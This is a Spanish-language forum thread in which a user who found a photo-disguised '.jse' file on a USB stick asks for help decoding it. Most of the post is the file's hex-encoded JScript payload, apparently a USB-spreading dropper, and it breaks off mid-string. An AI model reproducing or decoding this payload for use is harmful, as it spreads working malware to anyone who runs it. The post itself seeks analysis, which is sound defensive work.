Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: danny920825 en 11 Julio 2015, 17:04 pm


Título: [Ayuda] descifrando un virus
Publicado por: danny920825 en 11 Julio 2015, 17:04 pm
Hola a todos, les traigo tarea por decirlo de alguna forma a aquellos especializados en el arte de la cryptografia. El punto es que encontre en mi memoria USB hace un par de dias un archivo con el icono de una foto y un nombre asi como
"DSC01012                                                                                  .jse"
o sea, que estaban tratando de esconder la extension alargando el nombre. Eso me dio curiosidad y lo revise y me escontre con el codigo que les traigo hoy para ver si me ayudan a descifrarlo y conocer realmente que es lo que hace. Por cierto, mi cuñado si lo ejecuto y lo que hace al usuario es supuestamente abrir la foto del fondo de escritorio. Sin mas vueltas, aqui les dejo el codigo
Código
  1. z="cfcdd4d6bc98b2aebecdc4cbcf899ecdc0bccfc0aabdc5c0becf8382aebecdc4828682cbcfc4c9c289a1c4828682c7c0aed4ce828682cfc0c8aabdc5828682c0becf828496bd98b2aebecdc4cbcf899ecdc0bccfc0aabdc5c0becf8382b2aebe828682cdc4cbcf89aec3828682c0c7c7828496ce98b2aebecdc4cbcf899ecdc0bccfc0aabdc5c0becf8382aec3c0828682c7c7899ccbcbc7c4828682bebccfc4cac9828496d2c798b2aebecdc4cbcf899ecdc0bccfc0aabdc5c0becf8382b2bdc0c8aebecd828682c4cbcfc4c9c289aeb2bdc0c8a7828682cabebccfcacd828496bfbd98b2aebecdc4cbcf899ecdc0bccfc0aabdc5c0becf83829c9faa8286829f9d89aecfcd828682c0bcc8828496bfbd899ec3bccdaec0cf987db0ae889cae9ea4a47d96bfbd89afd4cbc0988d96be8e98bd89aecbc0bec4bcc7a1cac7bfc0cdce837daecfbccdcfd0cb7d8496c9cf919883bd89adc0c2adc0bcbf8382a3a6a7a8b7b7aeaaa1afb29cada0b7b7a8c4becdcacecac1cfb7b7b2c4c9bfcad2ce7ba9afb7b79ed0cdcdc0c9cfb1c0cdcec4cac9b7b79ed0cdcdc0c9cfb1c0cdcec4cac982849998919acfcdd0c095c1bcc7cec08496c5c4beca98bd89adc0c2adc0bcbf837da3a6a7a8b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b77d86bd89adc0c2adc0bcbf837da3a6a7a8b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b789c5cbc2b7b77d84867db7b79fc0c1bcd0c7cfa4becac9b7b77d8496c4beca987dc0d3cbc7cacdc0cd89c0d3c07d96c298b2aebecdc4cbcf89aebecdc4cbcfa1d0c7c7a9bcc8c096bfbc98c9c0d27b9fbccfc0838496bcc9ca98bfbc89c2c0cfb4c0bccd8384867d7d96c8c0ce98bfbc89c2c0cfa8cac9cfc3838496bfc4bc98bfbc89c2c0cf9fbccfc0838496c3cdbc988b96bcc9cfd198c9c0d27b9ccdcdbcd4837d7d8496cdc2c6987da3a69eb0b7b7aecac1cfd2bccdc0b7b7a8c4becdcacecac1cfb7b7b2c4c9bfcad2ceb7b79ed0cdcdc0c9cfb1c0cdcec4cac9b7b7add0c97d96d2c7c2987da3a69eb0b7b7aecac1cfd2bccdc0b7b7a8c4becdcacecac1cfb7b7b2c4c9bfcad2ce7ba9afb7b79ed0cdcdc0c9cfb1c0cdcec4cac9b7b7b2c4c9c7cac2cac9b7b7aec3c0c7c77d96c2c998c9c0d27b9ccdcdbcd4837da4a8a27d877da4a8a2ba7d877daba49e7d877d9fae9e7d877d9ea4a8a27d877da3aba4a87d877da4a89ca27d877d9fae9ea17d877d9fae9ea97d877d9f9ea4a87d877da4a87d877daba49eaf7d877dae9ca8ba7d8496cecb987d7d96c1cacd83cd988b96cd97948f96cd868684d6cecb86987d7b7d96d8c0d398c2c9b6a8bccfc389cdcad0c9bf83a8bccfc389cdbcc9bfcac88384858c8d84b886bcc9ca89ced0bdcecfcdc4c9c2838d878f84867d7d86c8c0ce86bfc4bc867d89a5aba27d86cecb867d89c5cec07d96c5c0d3987d7d96cfbcce987dc0d3cbc7cacdc0cd7d96c1ced598bc89a2c0cfa1c4c7c083c28489aec4d5c096d2cebe98b2aebecdc4cbcf89a1d0c7c7a9bcc8c096cecfc7987dc3cfcfcbce958a8ad2d2d289c2cacac2c7c089c0ce8a7ecad0cfcbd0cf98cec0bccdbec381cebec7c4c0c9cf98cbced488bcbd81cc98c1c4d1c0cdbfcac7c7d4867d96cecfcb98cecfc786c1ced596c4c183ce89a9bcc8c0aecbbcbec0838d918498987dadcabcc8c4c9c27d84d6cfcacf98bc89a2c0cfa1cac7bfc0cd83ce89a9bcc8c0aecbbcbec0838d918489abbccdcec0a9bcc8c0837da8c4becdcacecac1cf7d8489abbccfc38489abbccdc0c9cfa1cac7bfc0cd96d8c0c7cec0d6cfcacf98ce89a9bcc8c0aecbbcbec0838f8b8489abbccdcec0a9bcc8c083ce89a9bcc8c0aecbbcbec0838d91848489abbccfc396d8c9cf838496d8bebccfbec383c084d6d8cec1987d7d96c1d0c9becfc4cac97bc9cf8384d6cfcdd4d6be8c98ce89a9bcc8c0aecbbcbec0838d938489abbccdcec0a9bcc8c0837dc8c4becdcacecac1cf7d8496be8d98be8c89a2c0cfa1cac7bfc0cd89a4cfc0c8ce8384899ecad0c9cf96cdc198a8bccfc389cdcad0c9bf83a8bccfc389cdbcc9bfcac8838485be8d888c8496be8f98be8c89a2c0cfa1cac7bfc0cd89a4cfc0c8ce838489c4cfc0c883cdc18489abbccfc396c4c183bc89a1cac7bfc0cda0d3c4cecfce83be8f849898c1bcc7cec084d6be8f98bc89a2c0cfa1c4c7c083be8f8489abbccdc0c9cfa1cac7bfc0cd96d8d8bebccfbec383c084d6be8f98be8c89abbccfc396d8be9098a8bccfc389cdbcc9bfcac883848593868c867d7d96be9098be9089cdc0cbc7bcbec0837d897d877d7d8496cfcdd4d6bd89adc0c2b2cdc4cfc0837da3a69eb0b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b7a5aea0a1c4c7c0b7b79fc0c1bcd0c7cfa4becac9b7b77d87c5c4beca877dada0a2baaeb57d8496d8bebccfbec383c084d6d8cfcdd4d6c5cfd4cb98bd89adc0c2adc0bcbf837da3a6a7a8b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b7c5cbc0c2c1c4c7c0b7b7a1cdc4c0c9bfc7d4afd4cbc0a9bcc8c07d8496bd89adc0c2b2cdc4cfc0837da3a69eb0b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b7a5aea0a1c4c7c0b7b7a1cdc4c0c9bfc7d4afd4cbc0a9bcc8c07d87c5cfd4cb877dada0a2baa0b3ab9ca99fbaaeb57d8496d8bebccfbec383c084d6d8cfcdd4d6bd89adc0c2b2cdc4cfc0837da3a6a7a8b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b7a5aea0a1c4c7c0b7b79fc0c1bcd0c7cfa4becac9b7b77d87c5c4beca877dada0a2baaeb57d8496d8bebccfbec383c084d6d8cfcdd4d6bd89adc0c2b2cdc4cfc0837da3a6a7a8b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b7a5aea0a1c4c7c0b7b7a1cdc4c0c9bfc7d4afd4cbc0a9bcc8c07d87c5cfd4cb877dada0a2baa0b3ab9ca99fbaaeb57d8496d8bebccfbec383c084d6d8c4c183c289ced0bdcecfcdc4c9c283c289c7bccecfa4c9bfc0d3aac1837db7b77d84868c87c289c7c0c9c2cfc38489cfcaa7cad2c0cd9ebccec0838489cec0bccdbec3837d89c5cbc27d86cecb867d89c5cec07d847c98888c84d6cfcdd4d6c4c183bc89a1c4c7c0a0d3c4cecfce83c289ced0bdcecfcdc4c9c2838b87c289c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d8484849898cfcdd0c084d6bd89cdd0c983827d8286c289ced0bdcecfcdc4c9c2838b87c289c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d848486827d828496d8c0c7cec0d6d2cb98bd89adc0c2adc0bcbf837da3a69eb0b7b79ecac9cfcdcac77babbcc9c0c7b7b79fc0cec6cfcacbb7b7b2bcc7c7cbbccbc0cd7d8496c4c183d2cb89ced0bdcecfcdc4c9c283d2cb89c7bccecfa4c9bfc0d3aac1837db7b77d84868c87d2cb89c7c0c9c2cfc38498987dafcdbcc9cebecabfc0bfb2bcc7c7cbbccbc0cd7d84d6c5cbc2be98bd89adc0c2adc0bcbf837da3a6a7a8b7b7aeaaa1afb29cada0b7b79ec7bccecec0ceb7b7c5cbc0c2c1c4c7c0b7b7cec3c0c7c7b7b7cacbc0c9b7b7becac8c8bcc9bfb7b77d8489cdc0cbc7bcbec0837d808c7d87d2cb8496bd89cdd0c983c5cbc2be8496d8c0c7cec0d6bd89cdd0c983827d8286d2cb86827d828496d8d8d8bebccfbec383c084d6d8cfcdd4d6cebe98d2c7899ecac9c9c0becfaec0cdd1c0cd83c9d0c7c7877b7dcdcacacfb7b7bfc0c1bcd0c7cf7d8496cdc298cebe89a2c0cf837daecfbfadc0c2abcdcad17d8496c898cdc289a8c0cfc3cabfceba89a4cfc0c8837da0c9d0c8b1bcc7d0c0ce7d8496cbc4c998c889a4c9abbccdbcc8c0cfc0cdce89aecbbcd2c9a4c9cecfbcc9bec0ba838496cdc698c9c0d27baabdc5c0becf838496cdc6b67da3a69eb07db898cdc6b67da3a6a0b4ba9eb0adada0a9afbab0aea0ad7db8988bd3938b8b8b8b8b8b8c96cdd198cdc6b6cdc2c689ced0bdcecfcd838b87cdc2c689c4c9bfc0d3aac1837db7b77d8484b896cbc4c989c39fc0c1a6c0d498cdd196cbc4c989ceaed0bda6c0d4a9bcc8c098cdc2c689ced0bdcecfcd83cdc2c689c4c9bfc0d3aac1837db7b77d847b867b8c8496cbcacf98cdc289a0d3c0bea8c0cfc3cabfba83c889a9bcc8c087cbc4c98496bcc698cbcacf89cea9bcc8c0ce89cfca9ccdcdbcd4838496c1cacd83c6c0d47bc4c97bbcc684d6cfcfce98bd89adc0c2adc0bcbf83cdc2c6867db7b77d86bcc6b6c6c0d4b884867d7d96c4c183cfcfce89cec0bccdbec3837d89c0d3c07d847c98888c84d6cfcfce8d98cfcfce89ced0bdcecfcdc4c9c2838b87cfcfce89cec0bccdbec3837d89c0d3c07d848496cfcfce8e98cfcfce8d89ced0bdcecfcdc4c9c283cfcfce8d89c7bccecfa4c9bfc0d3aac1837d957d84888c87cfcfce8d89c7c0c9c2cfc384867d89c0d3c07d96c4c183bc89a1c4c7c0a0d3c4cecfce83cfcfce8e849898cfcdd0c084d6c4beca98cfcfce8e96d8c4c183cfcfce8d89c4c9bfc0d3aac1837db7b77d847c98888c84d6cfcfce8d98cfcfce8d89ced0bdcecfcdc4c9c283cfcfce8d89c7bccecfa4c9bfc0d3aac1837db7b77d84868c87cfcfce8d89c7c0c9c2cfc38496d8cfbcce98cfcfce8d96d8d8d8bebccfbec383c084d6d8c4c183cfbcce89c4c9bfc0d3aac1837d7b7d847c98888c84d6cfbcce98cfbcce89ced0bdcecfcdc4c9c2838b87cfbcce89c4c9bfc0d3aac1837d7b7d848496d8c4c183cfbcce89c4c9bfc0d3aac1837d897d847c98888c84d6cfbcce98cfbcce89ced0bdcecfcdc4c9c2838b87cfbcce89c4c9bfc0d3aac1837d897d848496d8cfcdd4d6c9c0d2bf98c1ced596cac7bfbfc198bd89adc0c2adc0bcbf83d2c7c28496cac7bfbfc198cac7bfbfc189ced0bdcecfcdc4c9c283cac7bfbfc189c7bccecfa4c9bfc0d3aac183827d7b7d8284868e87cac7bfbfc189c7bccecfa4c9bfc0d3aac183827d82848496d8bebccfbec383c084d6cac7bfbfc198cec3bed0838496d8c4c183bc89a1c4c7c0a0d3c4cecfce83cac7bfbfc1849898cfcdd0c084d6be8f98bc89a2c0cfa1c4c7c083cac7bfbfc18489abbccdc0c9cfa1cac7bfc0cd96cac7bfbf98bc89a2c0cfa1c4c7c083cac7bfbfc18489cec4d5c096d8c0c7cec0d6cac7bfbf988b96cac7bfbfc198be8f867db7b77d86be9096d8c4c183c9c0d2bf9998cac7bfbf84d6c4c183bc89a1c4c7c0a0d3c4cecfce83cac7bfbfc1849898cfcdd0c084d6bc89a2c0cfa1c4c7c083cac7bfbfc184899ccfcfcdc4bdd0cfc0ce988b96d8bfbd89aacbc0c9838496cfcdd4d6bcd198a2c0cfaabdc5c0becf837dd2c4c9c8c2c8cfce95d6c4c8cbc0cdcecac9bccfc4cac9a7c0d1c0c798c4c8cbc0cdcecac9bccfc0d87cb7b7b7b789b7b7cdcacacfb7b7aec0bed0cdc4cfd49ec0c9cfc0cd7d8683c9cf919a828d82958282848496bcd1c498bcd189a0d3c0beacd0c0cdd4837daea0a7a09eaf7b857ba1adaaa87b9cc9cfc4b1c4cdd0ceabcdcabfd0becf7d877db2aca77d8496c9bcd1c498c9c0d27ba0c9d0c8c0cdbccfcacd83bcd1c48496bcc9cfd198c9c0d27b9ccdcdbcd4838496c1cacd83967cc9bcd1c489bccfa0c9bf838496c9bcd1c489c8cad1c0a9c0d3cf838484d6cabcd198c9bcd1c489c4cfc0c8838496bcc9cfd189cbd0cec383cabcd189bfc4cecbc7bcd4a9bcc8c08496d8d8bebccfbec383c084d6bcc9cfd198c9c0d27b9ccdcdbcd4837da99c9e7d8496d8cfcdd4d6d1c4be987d977d86bd89adc0c2adc0bcbf837da3a69eb0b7b7b1cac7bccfc4c7c07ba0c9d1c4cdcac9c8c0c9cfb7b7a7aaa2aaa9aea0adb1a0ad7d8489cdc0cbc7bcbec0837db7b7b7b77d877d7d84867d957d86bd89adc0c2adc0bcbf837da3a6a7a8b7b7aeaaa1afb29cada0b7b7a8c4becdcacecac1cfb7b7b2c4c9bfcad2ce7ba9afb7b79ed0cdcdc0c9cfb1c0cdcec4cac9b7b7abcdcabfd0becfa9bcc8c07d84867d987d86ce89a9bcc8c0aecbbcbec0838f8b84867d957d86bcc9cfd1867d997d96d8bebccfbec383c084d6d1c4be987d7d96d8becabf98bec4838496c4c183becabf89cec0bccdbec383d1c4be849898888c8181cdbcbf7c988b84d6c9bfbc98d1c4be867d85858a7d96c3c4ce98becabf89cdc0cbc7bcbec0837d85858a7d87c9bfbc8496bfbd89b2cdc4cfc0afc0d3cf83c3c4ce8496d8c0c7cec0d6bfbd89b2cdc4cfc0afc0d3cf83becabf8496d8bfbd89aebcd1c0afcaa1c4c7c083cac7bfbfc1878d8496bfbd899ec7cacec0838496cfcdd4d6c4c183bc89a2c0cfa1c4c7c083cac7bfbfc18489aacbc0c99cceafc0d3cfaecfcdc0bcc8838c87888d8489adc0bcbf9cc7c7838489bec3bccd9ecabfc09ccf838b847c988c8d8d84d6bc899ecacbd4a1c4c7c083c287cac7bfbfc187cfcdd0c08496d8bc89a2c0cfa1c4c7c083cac7bfbfc184899ccfcfcdc4bdd0cfc0ce988d96d8bebccfbec383c084d6d8d2cec398be8f867db7b77d86cfbcce867d89c0d3c07d96cfcdd4d6bc899ecacbd4a1c4c7c083d2cebe87d2cec38496d8bebccfbec383c084d6d8bc89a2c0cfa1c4c7c083d2cec384899ccfcfcdc4bdd0cfc0ce988d96cfcdd4d6bfcdc298827d8286d2cec386827d7b7d8286cac7bfbfc186827d7b8a8aa095a5aebecdc4cbcf7b8a8a9d8296cec3bed0838496c0be98bd899ecdc0bccfc0aec3cacdcfbed0cf83be8e867db7b77d86cfbcce867d89c7c9c67d8496c0be89afbccdc2c0cfabbccfc398be8f867db7b77d86cfbcce867d89c0d3c07d96c0be899ccdc2d0c8c0c9cfce98827d8286cac7bfbfc186827d7b8a8aa095a5aebecdc4cbcf7b8a8a9d7b88c9ce8296c0be89a4becac9a7cabebccfc4cac998c4beca96c0be89aebcd1c0838496bd89adc0c2b2cdc4cfc083d2c7c287bfcdc28782ada0a2baaeb5828496b2aebecdc4cbcf89aec7c0c0cb83949494948496c4c183bd89adc0c2adc0bcbf83d2c7c2849898bfcdc284d6bc899fc0c7c0cfc0a1c4c7c083be8e867db7b77d86cfbcce867d89c7c9c67d8496d8d8bebccfbec383c084d6d8d8d8c0c7cec0d6cfcdd4d6c4c183b2aebecdc4cbcf899ccdc2d0c8c0c9cfce89c7c0c9c2cfc398988b84d6bd89cdd0c9837dc0d3cbc7cacdc0cd89c0d3c07d8496d8d8bebccfbec383c084d6d8cfcdd4d6c1bec1cb98c9c0d27b9ccdcdbcd4838496cfbec8bf98c9c0d27b9ccdcdbcd4838496c1cacd83cf988b96cf979496cf868684d6cfbec8bf89cbd0cec383cfcacf867db7b7af9e8d8b8c7d86cf867db7b7cfbec4c2c9cacdc089cfd3cf7d8496cfcdd4d6c1bec1cb89cbd0cec383ce89a9bcc8c0aecbbcbec0838e938489abbccdcec0a9bcc8c0837dafcacfbcc79ecac8c8bcc9bfc0cd8d8b8c7d86cf8489abbccfc3867db7b7afcacac7ceb7b7a8cad5c4c7c7bc7ba1c4cdc0c1cad3b7b7bfc0c1bcd0c7cfceb7b7cbcdcac1c4c7c07d8496d8bebccfbec383c084d6d8cfcdd4d6c1bec1cb89cbd0cec383ce89a9bcc8c0aecbbcbec0838f938489abbccdcec0a9bcc8c0837dafcacfbcc79ecac8c8bcc9bfc0cd8d8b8c7d86cf8489abbccfc3867db7b7afcacac7ceb7b7a8cad5c4c7c7bc7ba1c4cdc0c1cad3b7b7bfc0c1bcd0c7cfceb7b7cbcdcac1c4c7c07d8496d8bebccfbec383c084d6d8d8cfcdd4d6cfbec8bf89cbd0cec383ce89a9bcc8c0aecbbcbec0838e938489abbccdcec0a9bcc8c0837daf9e7bb0ab7d8489abbccfc3867db7b7cfbec4c2c9cacdc089cfd3cf7d8496d8bebccfbec383c084d6d8cfcdd4d6cfbec8bf89cbd0cec383ce89a9bcc8c0aecbbcbec0838f938489abbccdcec0a9bcc8c0837daf9e7bb0ab7d8489abbccfc3867db7b7cfbec4c2c9cacdc089cfd3cf7d8496d8bebccfbec383c084d6d8cfcdd4d6cfbec8bf89cbd0cec383ce89a9bcc8c0aecbbcbec0838d938489abbccdcec0a9bcc8c0837dc2c3c4cec7c0cd7d8489abbccfc3867db7b7cfbec4c2c9cacdc089cfd3cf7d8496d8bebccfbec383c084d6d8cfcdd4d6cfbec8bf89cbd0cec383ce89a9bcc8c0aecbbcbec0838d918489abbccdcec0a9bcc8c0837dc2c3c4cec7c0cd7d8489abbccfc3867db7b7cfbec4c2c9cacdc089cfd3cf7d8496d8bebccfbec383c084d6d8cfbec8bf89cbd0cec3837dbe95b7b7cfcacfbcc7bec8bfb7b7cfbec4c2c9cacdc089cfd3cf7d8496c1cacd83cf988b96cf97cfbec8bf89c7c0c9c2cfc396cf868684d6c4c183bc89a1c4c7c0a0d3c4cecfce83cfbec8bfb6cfb889cdc0cbc7bcbec0837dcfbec4c2c9cacdc089cfd3cf7d877dd2c4c9bec8bf89c4c9c47d84849898cfcdd0c084d6cfcdd4d6bfbd89aacbc0c9838496c4c183bc89a1c4c7c0a0d3c4cecfce83cfbec8bfb6cfb8849898c1bcc7cec084d6cfcfc998bc899ecdc0bccfc0afc0d3cfa1c4c7c083cfbec8bfb6cfb887cfcdd0c08496cfcfc989b2cdc4cfc0837d858589858589c5cec07d8496cfcfc989bec7cacec0838496d8c4c2c7987d7d96cfcdd4d6bfbd89a7cabcbfa1cdcac8a1c4c7c083cfbec8bfb6cfb88496c4c2c798bfbd89adc0bcbfafc0d3cf96d8bebccfbec383c084d6d8bfbd899ec7cacec0838496c4c183c4c2c789c4c9bfc0d3aac1837d858589858589c5cec07d849898888c84d6bfbd89aacbc0c9838496bfbd89b2cdc4cfc0afc0d3cf83c4c2c7878c8496bfbd89b2cdc4cfc0afc0d3cf837d858589858589c5cec07d878c8496bc899fc0c7c0cfc0a1c4c7c083cfbec8bfb6cfb88496bfbd89aebcd1c0afcaa1c4c7c083cfbec8bfb6cfb88496bfbd899ec7cacec0838496d8d8bebccfbec383c084d6d8cfcdd4d6cfcacd98bc89aacbc0c9afc0d3cfa1c4c7c083bc89a2c0cfa1c4c7c083cfbec8bfb6cfb88489abbccdc0c9cfa1cac7bfc0cd867db7b7b2c4c9bec8bf89c4c9c47d878c87cfcdd0c0878b8496cfcabc98cfcacd89adc0bcbf9cc7c7838496c4c183cfcabc89cec0bccdbec3837da4c2c9cacdc0a7c4cecfa1c4c7c0a0c9bcbdc7c0bf988b7d847c98888c84d6cfcabc98cfcabc89cdc0cbc7bcbec0837da4c2c9cacdc0a7c4cecfa1c4c7c0a0c9bcbdc7c0bf988b7d877da4c2c9cacdc0a7c4cecfa1c4c7c0a0c9bcbdc7c0bf988c7d8496d8c4c183cfcabc89cec0bccdbec3837da4c2c9cacdc0a7c4cecfa1c4c7c0987d849898888c84d6cfcabc98cfcabc89cdc0cbc7bcbec0837db69ecac9c1c4c2d0cdbccfc4cac9b87d877db69ecac9c1c4c2d0cdbccfc4cac9b87d867db7c9a4c2c9cacdc0a7c4cecfa1c4c7c0987d86cfbec8bfb6cfb88496d8c4c183cfbec8bfb6cfb889cec0bccdbec3837daf9e8d8b8c7d847c98888c84d6c4c183cfcabc89cec0bccdbec3837d988589c5cec07d849898888c84d6c1c4c7cf98cfcabc89ced0bdcecfcdc4c9c283cfcabc89c7bccecfa4c9bfc0d3aac1837da1c4c7cfc0cd7d84869187cfcabc89c7bccecfa4c9bfc0d3aac1837d89c4becac9987d848496c0c9c198cfcabc89ced0bdcecfcdc4c9c283cfcabc89c7bccecfa4c9bfc0d3aac1837da1c4c7cfc0cd7d8487cfcabc89c7c0c9c2cfc38496c0c9c798c0c9c189ced0bdcecfcdc4c9c2838b87c0c9c189c4c9bfc0d3aac1837db7c97d84868c8496c1c7c998c9c0d27ba9d0c8bdc0cd83c1c4c7cf84868c96c1c4becac998cfcabc89ced0bdcecfcdc4c9c283cfcabc89cec0bccdbec3837da1c4c7cfc0cd8c8c89c4becac9987d84868c8f87cfcabc89c7c0c9c2cfc38496bfc4becac998c1c4becac989ced0bdcecfcdc4c9c2838b87c1c4becac989cec0bccdbec3837db7c97d848496cfcabc98cfcabc89cdc0cbc7bcbec083c0c9c787c0c9c7867db7c9a1c4c7cfc0cd7d86c1c7c9867d988589c5cec0b7c9a1c4c7cfc0cd7d86c1c7c9867d89c4becac9987d86bfc4becac9867db7c97d8496cfcabc98cfcabc89cdc0cbc7bcbec0837da1c4c7c0afc4cbb2c4c9bfcad2ce988c7d877da1c4c7c0afc4cbb2c4c9bfcad2ce988b7d8496d8d8cfcacd89bec7cacec0838496cfcad298bc89aacbc0c9afc0d3cfa1c4c7c083bc89a2c0cfa1c4c7c083cfbec8bfb6cfb88489abbccdc0c9cfa1cac7bfc0cd867db7b7b2c4c9bec8bf89c4c9c47d878d87cfcdd0c0878b8496cfcad289b2cdc4cfc083cfcabc8496cfcad289bec7cacec0838496d8bebccfbec383c084d6d8d8d8d8bebccfbec383c084d6d8cfcdd4d6bd89adc0c2b2cdc4cfc0837da3a69eb0b7b7aecac1cfd2bccdc0b7b7a8c4becdcacecac1cfb7b7a4c9cfc0cdc9c0cf7ba0d3cbc7cacdc0cdb7b7a8bcc4c9b7b7aecfbccdcf7babbcc2c07d87cecfcb877dada0a2baaeb57d84d8bebccfbec383c084d6d8cfcdd4d6c4c183bc89a1cac7bfc0cda0d3c4cecfce83cfcacf867db7b7a8cad5c4c7c7bcb7b7a1c4cdc0c1cad3b7b7abcdcac1c4c7c0ce7d849898cfcdd0c084d6c1cbc198bc89a2c0cfa1cac7bfc0cd83cfcacf867db7b7a8cad5c4c7c7bcb7b7a1c4cdc0c1cad3b7b7abcdcac1c4c7c0ce7d8496cbc1c198c9c0d27ba0c9d0c8c0cdbccfcacd83c1cbc189aed0bda1cac7bfc0cdce8496c1cacd83967ccbc1c189bccfa0c9bf838496cbc1c189c8cad1c0a9c0d3cf838484d6cbc1ce98cbc1c189c4cfc0c88384867d7d96c4c183cbc1ce89cec0bccdbec3837d89bfc0c1bcd0c7cf7d847c98888c84d6c1bec1cb89cbd0cec383cbc1ce8496d8d8d8c1cacd83cc988b96cc97c1bec1cb89c7c0c9c2cfc396cc868684d6cfcdd4d6c4c183bc89a1c4c7c0a0d3c4cecfce83c1bec1cbb6ccb8867db7b7cbcdc0c1ce89c5ce7d849898cfcdd0c08496d6c1c5c198bc89aacbc0c9afc0d3cfa1c4c7c083c1bec1cbb6ccb8867db7b7cbcdc0c1ce89c5ce7d878c8496c1c5ce98c1c5c189adc0bcbf9cc7c7838496c1c5c189bec7cacec0838496d0cecb9882d0cec0cdbacbcdc0c1837dbdcdcad2cec0cd89cecfbccdcfd0cb89c3cac8c0cbbcc2c07d878296c4c183c1c5ce89c4c9bfc0d3aac183d0cecb847c98888c84d6c1c5ce8c98c1c5ce89ced0bdcecfcdc4c9c283c1c5ce89c4c9bfc0d3aac183d0cecb84868e9287c1c5ce89c7c0c9c2cfc38496c1c5ce8d98c1c5ce8c89ced0bdcecfcdc4c9c2838b87c1c5ce8c89c4c9bfc0d3aac1838284968284868d8496c1c5ce8e98c1c5ce89cdc0cbc7bcbec083d0cecb86c1c5ce8d87d0cecb86827b7d8286cecfcb86827d8496828496d2c5c198bc89aacbc0c9afc0d3cfa1c4c7c083c1bec1cbb6ccb8867db7b7cbcdc0c1ce89c5ce7d878d8496d2c5c189b2cdc4cfc083c1c5ce8e8496d8c0c7cec0d6d2c5c198bc89aacbc0c9afc0d3cfa1c4c7c083c1bec1cbb6ccb8867db7b7cbcdc0c1ce89c5ce7d87938496d2c5c189b2cdc4cfc0a7c4c9c08382b7c98286d0cecb86827b7d8286cecfcb86827d8496828496d8d2c5c189bec7cacec0838496d8d8bebccfbec383c084d6d8d8d8bebccfbec383c084d6d8cfcdd4d6c2c1ce98ce89a9bcc8c0aecbbcbec0838d938489abbccdcec0a9bcc8c0837da2cacac2c7c07d8489abbccfc3867db7b79ec3cdcac8c0b7b7b0cec0cd7b9fbccfbcb7b79fc0c1bcd0c7cfb7b7abcdc0c1c0cdc0c9bec0ce7d96c4c183bc89a1c4c7c0a0d3c4cecfce83c2c1ce849898cfcdd0c084d6c2c5c198bc89aacbc0c9afc0d3cfa1c4c7c083c2c1ce878c8496c2c5ce98c2c5c189adc0bcbf9cc7c7838496c2c5c189bec7cacec0838496c2c5cec998c2c5ce89c7c0c9c2cfc396d0cdce98827dd0cdc7cebacfcabacdc0cecfcacdc0bacac9bacecfbccdcfd0cb7d957bb68296cdcace98827dcdc0cecfcacdc0bacac9bacecfbccdcfd0cb7d958296cdcacec898827dcdc0cecfcacdc0bacac9bacecfbccdcfd0cbbac8c4c2cdbccfc0bf7d958296c4c183c2c5ce89c4c9bfc0d3aac183cecfc7849898888c84d6c4c183c2c5ce89c4c9bfc0d3aac183d0cdce847c98888c84d6c2c5ce8c98c2c5ce89ced0bdcecfcdc4c9c283c2c5ce89c4c9bfc0d3aac183d0cdce84868e8c87c2c5cec98496c2c5ce8d98c2c5ce8c89ced0bdcecfcdc4c9c2838b87c2c5ce8c89c4c9bfc0d3aac1837db87d84868c8496c2c5ce8e98c2c5ce89cdc0cbc7bcbec083d0cdce86c2c5ce8d87d0cdce86827b7d8286cecfcb86827d877b8286c2c5ce8d8496d8c0c7cec0d6c2c5ce8c98c2c5ce89ced0bdcecfcdc4c9c283c2c5ce89c4c9bfc0d3aac183cdcacec88487c2c5cec98496c2c5ce8d98c2c5ce8c89ced0bdcecfcdc4c9c2838b87c2c5ce8c89c4c9bfc0d3aac1837db7c97d84868c8496c2c5ce8e98c2c5ce89cdc0cbc7bcbec083c2c5ce8d87cdcacec886827bcfcdd0c087b7c9b7cf8286d0cdce86827b7d8286cecfcb86827d7bb8b7c9828496d8c2c5ce8f98c2c5ce89ced0bdcecfcdc4c9c283c2c5ce89c4c9bfc0d3aac183cdcace8487c2c5cec98496c2c5ce9098c2c5ce8f89ced0bdcecfcdc4c9c2838b87c2c5ce8f89c4c9bfc0d3aac18382878284868c8496c2c5ce8e98c2c5ce8e89cdc0cbc7bcbec083c2c5ce9087cdcace86827b8f87828496d2c5c298bc89aacbc0c9afc0d3cfa1c4c7c083c2c1ce878d8496d2c5c289b2cdc4cfc083c2c5ce8e8496d2c5c289bec7cacec0838496d8c0c7cec0d6c1bfce98c2c5ce89ced0bdcecfcdc4c9c283c2c5ce89c4c9bfc0d3aac183cecfc78487c2c5ce89c7c0c9c2cfc38496c1bfbe98c1bfce89ced0bdcecfcdc4c9c2838b87c1bfce89c4c9bfc0d3aac183827d82848496c2c5ce8f98c2c5ce89cdc0cbc7bcbec083c1bfbe87cecfcb8496d2c5c298bc89aacbc0c9afc0d3cfa1c4c7c083c2c1ce878d8496d2c5c289b2cdc4cfc083c2c5ce8f8496d2c5c289bec7cacec0838496d8d8d8bebccfbec383c084d6d8c8c6838496d8d8c1d0c9becfc4cac97bc8c68384d6b2aebecdc4cbcf89aec7c0c0cb838c8d8b8b8b8b8496cfcdd4d6be98c9c0d27ba0c9d0c8c0cdbccfcacd83bc899fcdc4d1c0ce8496c1cacd83967cbe89bccfa0c9bf838496be89c8cad1c0a9c0d3cf838484d6cfc4cbcabfc4cebeca98be89c4cfc0c88384899fcdc4d1c0afd4cbc096ced2c4cfbec383cfc4cbcabfc4cebeca84d6bebccec07b8c95bebccec07b8e95c4c183be89c4cfc0c883847c987d9c957d7b81817bbe89c4cfc0c883847c987d9d957d84d6cfcdd4d6cec198bc89a2c0cfa1cac7bfc0cd83cbc083be89c4cfc0c88384867db7b77d848496cfc2c198c9c0d27ba0c9d0c8c0cdbccfcacd83cec189c1c4c7c0ce8496c1cacd83967ccfc2c189bccfa0c9bf838496cfc2c189c8cad1c0a9c0d3cf838484d6cecfc198cfc2c189c4cfc0c88384867d7d96c4c183cecfc189ced0bdcecfcdc4c9c283cecfc189c7c0c9c2cfc3888f87cecfc189c7c0c9c2cfc38489cfcab0cbcbc0cd9ebccec0838498987d8